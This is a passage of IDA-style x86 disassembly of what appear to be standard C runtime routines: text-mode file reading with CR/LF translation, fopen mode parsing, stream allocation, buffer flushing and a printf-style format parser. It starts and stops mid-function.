		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2730000h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 26A08B1h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB948, 9
		mov	dword_4DB94C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2730000h
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 26A08B1h
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB94C, 0
		mov	dword_4DB948, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB9C8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBB34
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBB30
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DCC80
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DBC68
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DBC68
		mov	[edi+ecx], eax
		mov	eax, dword_4DBC68
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C9C8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C9C8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43D0D8
		jz	short loc_41F5EA
		cmp	esi, offset dword_43D0F8
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43D020


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+427734h]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_427754[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C9C8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43CBE4
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


